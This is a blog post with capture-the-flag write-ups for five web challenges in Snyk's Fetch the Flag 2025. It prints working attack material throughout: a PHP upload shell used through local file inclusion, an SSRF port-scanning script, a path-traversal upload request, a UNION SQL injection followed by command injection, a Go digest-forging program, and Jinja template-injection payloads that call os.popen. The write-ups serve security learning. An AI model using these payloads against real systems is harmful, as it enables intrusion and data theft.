Post

Snyk CTF 2025

Snyk CTF 2025

Fetch the Flag CTF

Put your security skills to the test in Fetch the Flag, a virtual Capture the Flag competition hosted by Snyk and John Hammond, on February 27, 2025, from 9 am - 9 pm ET.

This CTF was available for a short time, mostly during business hours. Unfortunately, the servers were down for a few hours when I had free time to play. Despite that, I managed to solve 5 out of 8 Web challenges. I’m happy with the results, it was a fun (short) one!

Web

WHO IS JH

I WANT TO BELIEVE. He can’t be all three. Something doesn’t add up!

We have access to a webpage and the source code.

whoisjh-homepage

There is a page that allows switching to French translations. When you see this, you might immediately think of Local File Inclusion (LFI): http://challenge.ctf.games:30775/conspiracy.php?language=languages/french.php

whoisjh-language

conspiracy.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
require_once 'log.php';

$baseDir = realpath('/var/www/html');

$language = $_GET['language'] ?? 'languages/english.php';

logEvent("Language parameter accessed: $language");

$filePath = realpath($language);

ob_start();

if ($filePath && strpos($filePath, $baseDir) === 0 && file_exists($filePath)) {
    include($filePath);
} else {
    echo "<p>File not found or access denied: " . htmlspecialchars($language) . "</p>";
    logEvent("Access denied or file not found for: $language");
}
$languageContent = ob_get_clean();
?>

The script attempts to prevent LFI by ensuring the requested file is within the /var/www/html directory.

We now need to be able to upload a php file to read out the flag. Luckily, there’s an upload function that allows users to upload image files as evidence. However, it restricts uploads to specific extensions:

1
$allowedExtensions = ['jpg', 'png', 'gif'];

whoisjh-upload

We craft our malicious php file:

1
2
3
4
5
6
7
8
9
<?php
$flag_path = "/flag.txt";

if (file_exists($flag_path)) {
    echo "Flag contents: " . htmlspecialchars(file_get_contents($flag_path));
} else {
    echo "Flag file not found.";
}
?>

We can attempt to bypass this restriction by uploading a malicious PHP file disguised as an image (.php.jpg), since the server only validates the extension. The uploaded file gets a unique ID prefixed to its name, making it impossible to predict its final filename:

1
$uniqueName = uniqid() . "_$originalName";

Since we cannot access the uploaded file directly, we need to find another way to determine its filename.

We know that logs are stored on the server and logged using log.php`. This means we can retrieve our uploaded file’s name through LFI on the log file.

log.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$logFile = 'logs/site_log.txt';

/**
 * Logs a message to the centralized log file.
 *
 * @param string $message The message to log.
 */
function logEvent($message) {
    global $logFile;

    if (!is_dir(dirname($logFile))) {
        mkdir(dirname($logFile), 0755, true);
    }

    $timestamp = date('[Y-m-d H:i:s]');
    $formattedMessage = "$timestamp $message\n";

    file_put_contents($logFile, $formattedMessage, FILE_APPEND);
}
?>

We can retrieve the log file using LFI: http://challenge.ctf.games:30780/conspiracy.php?language=logs/site_log.txt`

This reveals the exact filename of our uploaded PHP shell.

whoisjh-log

With the filename in hand, we can now perform LFI on our uploaded PHP file to execute it and retrieve the flag: http://challenge.ctf.games:30780/conspiracy.php?language=uploads/67c073d45aec0_flag.php.jpg`

whoisjh-flag

Unfurl

We’ve been working on a little side project - it’s a URL unfurler! Punch in any site you’d like and you’ll get the metadata, main image, the works. We’re publishing it open source soon, so we figured we’d let you take a shot at testing its security first!

We get access to a website that looks up metadata for URLs.

unfurl-homepage

We also receive the source code, where we can see that an admin application is started on a random port within a relatively small range.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function getRandomPort() {
    const MIN_PORT = 1024;
    const MAX_PORT = 4999;
    let port;
    do {
        port = Math.floor(Math.random() * (MAX_PORT - MIN_PORT + 1)) + MIN_PORT;
    } while (port === 5000);
    return port;
}

const adminPort = getRandomPort();
adminApp.listen(adminPort, '127.0.0.1', () => {
    console.log(`[INFO] Admin app running on http://127.0.0.1:${adminPort}`);
});

The main website provides access to an admin panel.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
router.get('/', (req, res) => {
    res.send(`
        <html>
            <head>
                <title>Admin Panel</title>
            </head>
            <body>
                <h1>Admin Panel</h1>
                <p>Welcome to the admin control panel! Here are the available features:</p>
                <ul>
                    <li><a href="/admin/system-info">System Information</a></li>
                    <li><a href="/admin/users">Manage Users</a></li>
                    <li><a href="/admin/logs">View Logs</a></li>
                    <li><a href="/admin/settings">Settings</a></li>
                    <li><a href="/admin/execute">Execute Command</a></li>
                </ul>
            </body>
        </html>
    `);
});

Among the admin routes, there’s an interesting endpoint /execute, which allows executing any os command but only if the request comes from localhost.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
router.get('/execute', (req, res) => {
    // This isn't terribly secure, but we're only going to bind this app to the localhost so you'd need to be on the actual host to run any commands.
    // So I think we're good!
    const clientIp = req.ip;

    // Definitely making sure to lock this down to the localhost
    if (clientIp !== '127.0.0.1' && clientIp !== '::1') {
        console.warn(`[WARN] Unauthorized access attempt from ${clientIp}`);
        return res.status(403).send('Forbidden: Access is restricted to localhost.');
    }

    const cmd = req.query.cmd;

    if (!cmd) {
        return res.status(400).send('No command provided!');
    }

    exec(cmd, (error, stdout, stderr) => {
        if (error) {
            console.error(`[ERROR] Command execution failed: ${error.message}`);
            return res.status(500).send(`Error: ${error.message}`);
        }

        console.log(`[INFO] Command executed: ${cmd}`);
        res.send(`
            <h1>Command Output</h1>
            <pre>${stdout || stderr}</pre>
            <a href="/admin">Back to Admin Panel</a>
        `);
    });
});

Since we know the admin service is running on a random port, we can try to brute-force its location by sending requests to localhost over a range of ports and looking for a response containing “Admin Panel”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

MIN_PORT = 1024
MAX_PORT = 4999

TARGET_HOST = "http://challenge.ctf.games:31602/unfurl"
HEADERS = {
    "Content-Type": "application/json"
}

for port in range(MIN_PORT, MAX_PORT + 1):
    payload = {"url": f"http://127.0.0.1:{port}"}
    try:
        response = requests.post(TARGET_HOST, json=payload, headers=HEADERS)
        response_text = response.text
        #print(f"[-] Trying {port}: Status {response.status_code}")
        if "Admin Panel" in response_text:
            print(f"[+] Found 'Admin Panel' on port {port}: Status {response.status_code}")
            exit()
    
    except requests.RequestException as e:
        print(f"[-] Port {port}: Request failed - {str(e)}")

After a while, we successfully discover the correct port: 1962.

1
2
$ python3 unfurl.py
[+] Found 'Admin Panel' on port 1962: Status 200

Now that we have the port, we can send a request to check if the panel is accessible.

1
2
3
4
POST /unfurl HTTP/1.1
Host: challenge.ctf.games:31602

{"url":"http://127.0.0.1:1962"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
    "title": "Admin Panel",
    "description": "No description found",
    "html": "
        <html>
            <head>
                <title>Admin Panel</title>
            </head>
            <body>
                <h1>Admin Panel</h1>
                <p>Welcome to the admin control panel! Here are the available features:</p>
                <ul>
                    <li><a href=\"/system-info\">System Information</a></li>
                    <li><a href=\"/users\">Manage Users</a></li>
                    <li><a href=\"/logs\">View Logs</a></li>
                    <li><a href=\"/settings\">Settings</a></li>
                    <li><a href=\"/execute\">Execute Command</a></li>
                </ul>
            </body>
        </html>
    ",
    "image": ""
}

Now that we have access, we can attempt command execution and list up the current directory.

1
2
3
4
POST /unfurl HTTP/1.1
Host: challenge.ctf.games:31602

{"url":"http://127.0.0.1:1962/execute?cmd=ls"}

We see that flag.txt` is present in the directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
    "title": "No title found",
    "description": "No description found",
    "html": "
        <h1>Command Output</h1>
        <pre>
admin.js
app.js
flag.txt
node_modules
package-lock.json
package.json
public
routes
        </pre>
        <a href=\"/\">Back to Admin Panel</a>
    ",
    "image": ""
}

Now that we have confirmed the location of flag.txt, we can read its contents by executing the command cat flag.txt.

1
2
3
4
POST /unfurl HTTP/1.1
Host: challenge.ctf.games:31602

{"url":"http://127.0.0.1:1962/execute?cmd=cat flag.txt"}
1
2
3
4
5
6
7
8
9
10
11
12
{
    "title": "No title found",
    "description": "No description found",
    "html": "
        <h1>Command Output</h1>
        <pre>
flag{e1c96ccca8777b15bd0b0c7795d018ed}
        </pre>
        <a href=\"/\">Back to Admin Panel</a>
    ",
    "image": ""
}

We can retrieve the flag: flag{e1c96ccca8777b15bd0b0c7795d018ed}.

TimeOff

TimeOff is an early build for our upcoming line of business application that will help us manage our employee’s PTO requests. Please give it a thorough security test and let us know if you find anything. To set you up for success, our devs have given you the full source code and a development build of the current app. Feel free to build a local instance for your security test. If you find anything exploitable, prove it by capturing the flag.txt file on the live instance!

Credentials:

  • admin@example.com:admin123
  • user@example.com:user123

We get access to a platform that allows employees to request PTO.

timeoff-homepage

Upon signing in as a normal user, we notice that uploaded documents can be downloaded later. The goal is to exploit this feature by tricking the application into storing and serving the flag file instead of our uploaded document.

From the source code, we know the flag is stored two directories above the current folder. This hints at a path traversal vulnerability, which we can exploit by setting the uploaded file’s name to: ../../flag.txt

timeoff-upload

The exact request is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /time_off_requests HTTP/1.1
Host: challenge.ctf.games:30169

-----------------------------46833973042478387171187167762
Content-Disposition: form-data; name="authenticity_token"
m8SKotDW5Iiq0kOY-MDRNoJJAVi9c8QnJoYu64MPxHZ_9I5w-0bxLEMJNd0V8zL4m1LjCJ8wuqNoiH9981Sxtg
-----------------------------46833973042478387171187167762
Content-Disposition: form-data; name="time_off_request[start_date]"
1990-01-01
-----------------------------46833973042478387171187167762
Content-Disposition: form-data; name="time_off_request[end_date]"
1990-01-02
-----------------------------46833973042478387171187167762
Content-Disposition: form-data; name="time_off_request[reason]"
to get the flag
-----------------------------46833973042478387171187167762
Content-Disposition: form-data; name="doc[file]"; filename="flag.txt"
Content-Type: text/plain
-----------------------------46833973042478387171187167762
Content-Disposition: form-data; name="doc[file_name]"
../../flag.txt
-----------------------------46833973042478387171187167762
Content-Disposition: form-data; name="commit"
Submit Request
-----------------------------46833973042478387171187167762--

This tricks the server into associating our request with the real flag file (../../flag.txt) instead of an actual uploaded document.

Once the request is submitted, we can simply click the download button for our uploaded file. This sends the request:

1
2
GET /documents/2/download HTTP/1.1
Host: challenge.ctf.games:30169

The server serves the flag file, returning:

1
2
3
4
5
6
7
HTTP/1.1 200 OK

content-type: application/octet-stream
content-disposition: attachment; filename="flag.txt"; filename*=UTF-8''flag.txt
Content-Length: 38

flag{52948d88ee74b9bdab130c35c88bd406}

Weblog

Web-LOG? We-BLOG? Webel-OGG? No idea how this one is pronounced. It’s on the web, it’s a log, it’s a web-log, it’s a blog. Just roll with it.

We have access to a blog platform along with its accompanying source code.

weblog-homepage

On the search page, entering a single quote (') triggers a MariaDB SQL error, indicating a SQL injection vulnerability.

weblog-search

From the error message, we can see the original SQL query being executed:

1
SELECT * FROM blog_posts WHERE title LIKE '%%'%%'

To extract data from another table, we need to close the LIKE condition and perform a UNION-based SQL injection.

Through the provided source code, we also learn that the users table has the same number of columns as blog_posts, making it easier to exploit.

Initially I was struggling to get the payload working as I was missing a space behind my payload which made the difference.

%' UNION SELECT * FROM users;--

vs

%' UNION SELECT * FROM users;--

Executing this payload reveals all users and their password hashes:

weblog-sqli

The passwords are stored as MD5 hashes, which are easily crackable. Using a tool like CrackStation.net, we recover the admin password.

weblog-hash

The admin panel contains a “Rebuild Database” command field, which executes system commands. However, the command must start with:

1
echo 'Rebuilding database...' && /entrypoint.sh

weblog-admin

That is no issue as we just can use ; to add our commands to this one. First we run ls to find out the files in the current directory.

weblog-admin-ls

This directory contains the flag, so we can just read out the flag through echo 'Rebuilding database...' && /entrypoint.sh; cat flag.txt

This provides us the flag:

1
Command executed successfully: Rebuilding database... MariaDB data directory already initialized. Starting MariaDB... 250227 18:58:37 mysqld_safe Logging to syslog. Database already initialized. Skipping setup. Checking if port 5000 is in use... Port 5000 is in use. Attempting to kill the conflicting process... Conflicting process terminated. Continuing... Starting Flask app on port 5000... * Serving Flask app 'app' * Debug mode: off flag{b06fbe98752ab13d0fb8414fb55940f3} 

weblog-admin-flag

VulnScanner

VulnScanner is our new open source project to help developers, security researchers, and bug bounty hunters identify attack surfaces! It’s uses a flexible, customizable YAML templating engine to define web scans. We set up a website that hooks into a safe version of the scanner for demonstation purposes. That should be fine, right?

We gain access to a website that allows YAML file uploads.

vulnscanner-homepage

When going to the upload screen we can see a link to the allowed templates and a file that has the digests of the files that are allowed.

vulnscanner-upload

vulnscanner-templates

The file known_digests.txt` contains SHA-256 hashes of approved templates:

1
2
3
a7f3546ab25c5e0f7f67a7fedbe77336c735de64b8ad1e75b88e7b1c5a2755c4
fd98ae330ebfa73e90fac55ee5eb1aac874acecf9fb3222f65a0de81fec27210
3ec41e2a51ff8ac34dadf530d4396d86a99db38daff7feb39283c068e299061a

An example YAML template looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
name: Code Execution Test
description: A template for testing code execution within the template.
type: http
requests:
  - method: GET
    path:
      - "/test"
    matchers:
      - type: status
        status:
          - 200
code: echo "Executing a simple, safe code block for testing purposes"

# digest: 3ec41e2a51ff8ac34dadf530d4396d86a99db38daff7feb39283c068e299061a

At first, I thought overwriting known_digests.txt was the intended exploit, but after analyzing the source code, I found a logic flaw in the digest verification function.

The function VerifyDigest() reads the digest file but does not actually use it for verification. Instead, it only checks if the calculated hash (hexHash) matches the first digest (firstDigest`) found inside the uploaded YAML file itself.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
func VerifyDigest(content, digestFile string) (bool, error) {
	digestPattern := regexp.MustCompile(`(?m)^#\sdigest:\s([a-fA-F0-9]+)`)
	matches := digestPattern.FindAllStringSubmatch(content, 1) // Only match the first line

	if len(matches) == 0 {
		return false, errors.New("no valid digest found")
	}

	firstDigest := matches[0][1]
	cleanedContent := RemoveDigestComment(content)
	normalizedContent := NormalizeContent(cleanedContent)
	hash := sha256.Sum256([]byte(normalizedContent))
	hexHash := fmt.Sprintf("%x", hash)

	_, err := ioutil.ReadFile(digestFile)
	if err != nil {
		return false, fmt.Errorf("failed to read known digests: %w", err)
	}

	if strings.TrimSpace(hexHash) == firstDigest {
		return true, nil
	}
	return false, errors.New("signature verification failed")
}
  • firstDigest: The digest extracted from the uploaded YAML template (# digest: <hash>`).
  • hexHash: Calculated SHA-256 hash of the YAML excluding the digest line (after RemoveDigestComment(content) and NormalizeContent(cleanedContent)).

The verifyDigest never compares against the file.

We can now write a go routine that allows us to create our malicious yaml file that will pass this verifyDigest method. Reusing as much as the original logic from the source code.

The Go program will: - Normalize the YAML content - Generate a valid hash - Embed the hash inside the YAML file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
package main

import (
	"crypto/sha256"
	"fmt"
	"io/ioutil"
	"os"
	"regexp"
	"strings"

	"gopkg.in/yaml.v3"
)

func NormalizeContent(content string) string {
	var yamlContent interface{}
	err := yaml.Unmarshal([]byte(content), &yamlContent)
	if err != nil {
		return content
	}

	normalizedContent, err := yaml.Marshal(yamlContent)
	if err != nil {
		return content
	}
	normalizedContentStr := strings.TrimSpace(string(normalizedContent))
	return normalizedContentStr
}

func SignTemplate(content string) (string, string, error) {
	normalizedContent := NormalizeContent(content)
	hash := sha256.Sum256([]byte(normalizedContent))
	hexHash := fmt.Sprintf("%x", hash)
	signedTemplate := fmt.Sprintf("%s\n# digest: %s\n", content, hexHash)
	return signedTemplate, hexHash, nil
}

func WriteDigest(digestFile, digest string) error {
	digestFileHandle, err := os.OpenFile(digestFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	if err != nil {
		return fmt.Errorf("failed to open known_digests.txt for appending: %w", err)
	}
	defer digestFileHandle.Close()

	_, err = digestFileHandle.WriteString(fmt.Sprintf("%s\n", digest))
	if err != nil {
		return fmt.Errorf("failed to write digest: %w", err)
	}

	return nil
}

func VerifyDigest(content, digestFile string) (bool, error) {
	digestPattern := regexp.MustCompile(`(?m)^#\sdigest:\s([a-fA-F0-9]+)`)
	matches := digestPattern.FindAllStringSubmatch(content, 1) // Only match the first line

	if len(matches) == 0 {
		return false, fmt.Errorf("no valid digest found in content")
	}

	firstDigest := matches[0][1]
	cleanedContent := RemoveDigestComment(content)
	normalizedContent := NormalizeContent(cleanedContent)
	hash := sha256.Sum256([]byte(normalizedContent))
	hexHash := fmt.Sprintf("%x", hash)

	// Read the known_digests.txt file
	_, err := ioutil.ReadFile(digestFile)
	if err != nil {
		return false, fmt.Errorf("failed to read known digests: %w", err)
	}

	// Check if the calculated hash exists in the known digests
	if strings.TrimSpace(hexHash) == firstDigest {
		return true, nil
	}
	return false, fmt.Errorf("digest verification failed")
}

// RemoveDigestComment removes the digest comment from the content
func RemoveDigestComment(content string) string {
	lines := strings.Split(content, "\n")
	var cleanedLines []string
	for _, line := range lines {
		if !strings.HasPrefix(strings.TrimSpace(line), "# digest:") {
			cleanedLines = append(cleanedLines, line)
		}
	}
	cleanedContent := strings.Join(cleanedLines, "\n")
	return cleanedContent
}

func main() {
	// Malicious YAML
	maliciousYAML := `
name: Code Execution Test
description: A template for testing code execution within the template.
type: http
requests:
  - method: GET
    path:
      - "/test"
    matchers:
      - type: status
        status:
          - 200
code: echo $(cat flag.txt)
`

	// Step 1: Generate the signed template with digest
	signedTemplate, digest, err := SignTemplate(maliciousYAML)
	if err != nil {
		fmt.Printf("Error signing template: %v\n", err)
		return
	}

	// Step 2: Write the digest to the known_digests.txt file
	digestFile := "known_digests.txt"
	err = WriteDigest(digestFile, digest)
	if err != nil {
		fmt.Printf("Error writing digest to file: %v\n", err)
		return
	}

	// Step 3: Print the signed template (including the digest)
	fmt.Printf("Signed Template:\n%s\n", signedTemplate)

	// Step 4: Verify the digest by calling VerifyDigest
	valid, verifyErr := VerifyDigest(signedTemplate, digestFile)
	if verifyErr != nil {
		fmt.Printf("Error verifying digest: %v\n", verifyErr)
		return
	}

	// Step 5: Output the result of verification
	if valid {
		fmt.Println("Digest verification succeeded.")
	} else {
		fmt.Println("Digest verification failed.")
	}
}

Setup and run the go program

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
>go version
go version go1.24.0 windows/amd64
>go mod init payload
>go get gopkg.in/yaml.v3
>go run payload.go
Signed Template:

name: Code Execution Test
description: A template for testing code execution within the template.
type: http
requests:
  - method: GET
    path:
      - "/test"
    matchers:
      - type: status
        status:
          - 200
code: echo $(cat flag.txt)

# digest: 441053a2767c2df986fe4961c71b20d69f7f83bdcb2f43dc2504d3d1db58879d

Digest verification succeeded.

We now upload the malicious YAML file with our forged digest.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /upload HTTP/1.1
Host: challenge.ctf.games:32120

-----------------------------212991186840209945731052999329
Content-Disposition: form-data; name="template"; filename="test.yaml"
Content-Type: application/yaml
name: Code Execution Test
description: A template for testing code execution within the template.
type: http
requests:
  - method: GET
    path:
      - "/test"
    matchers:
      - type: status
        status:
          - 200
code: echo $(cat flag.txt)
# digest: 441053a2767c2df986fe4961c71b20d69f7f83bdcb2f43dc2504d3d1db58879d
-----------------------------212991186840209945731052999329--

Server Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<section class="content container">
    <h2>Template Fields</h2>
    <pre>map[code:echo $(cat flag.txt) description:A template for testing code execution within the template. name:Code Execution Test requests:[map[matchers:[map[status:[200] type:status]] method:GET path:[/test]]] type:http]</pre> 

    <h2>Simulated Check Result</h2>
    <p>Simulated Check: GET request to [/test] (Expected status: 200) matched.</p>

    <h2>Template Output</h2>
    <pre>flag{e800eecf32271d760b27201eef192ead}
</pre>
    </section>

    <footer>
        <p>© 2025 VulnScanner. An open-source project focused on security testing.</p>
    </footer>
</body>

</html>

Plantly

We purchased a web dev project off of a gig site to build our new plant subscription service, Plantly. I think the dev was a bit rushed and made some questionable choices. Can you please pentest the app and review the source code? We need to know if there are any major issues before going live! We’ll give you the source code so you can run a local instance. We also have a live dev instance so if you find any major vulnerabilities, exploit the live instance and prove it by grabbing the flag!

We gain access to an online webshop where users can buy plants.

plantly-homepage

The store allows users to place custom orders, giving us an opportunity to input data thus a potential attack vector.

plantly-store

When we try a server-side template injection (ssti) payload like {{7*7}}. We see that it looks normal in the next pages.

plantly-buy

plantly-order

However, when we inspect the receipt, we notice that the input has been evaluated. Instead of displaying {{7*7}}`, the receipt shows:

1
Custom Request: 49

This confirms that the application is vulnerable to SSTI.

To further explore this, we try: {{config.items()}}

This reveals sensitive application settings, including SECRET_KEY:

1
Custom Request: dict_items([('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('SECRET_KEY', 'supersecretkey'), ('SECRET_KEY_FALLBACKS', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('TRUSTED_HOSTS', None), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_PARTITIONED', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('MAX_FORM_MEMORY_SIZE', 500000), ('MAX_FORM_PARTS', 1000), ('SEND_FILE_MAX_AGE_DEFAULT', None), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093), ('PROVIDE_AUTOMATIC_OPTIONS', True), ('SQLALCHEMY_DATABASE_URI', 'sqlite:///plantly.db'), ('SQLALCHEMY_TRACK_MODIFICATIONS', False), ('SQLALCHEMY_ENGINE_OPTIONS', {}), ('SQLALCHEMY_ECHO', False), ('SQLALCHEMY_BINDS', {}), ('SQLALCHEMY_RECORD_QUERIES', False)])

We still want to continue developing this SSTI attack vector.

Initially, I considered navigating through Python classes using: {{''.__class__.__mro__[1].__subclasses__()}}.

This would return a list of all subclasses, including subprocess.Popen`, which allows us to execute commands. However, since the list was huge, I first tried for a more direct approach.

By using the config object, we can access os.popen and execute system commands: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}.

The output confirms that the payload worked and that the application is running as root:

1
Custom Request: uid=0(root) gid=0(root) groups=0(root)

Now, to retrieve the flag: {{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}. Which returns:

1
Custom Request: flag{982e3b7286ee603d8539f987b65b90d4}
This post is licensed under CC BY 4.0 by the author.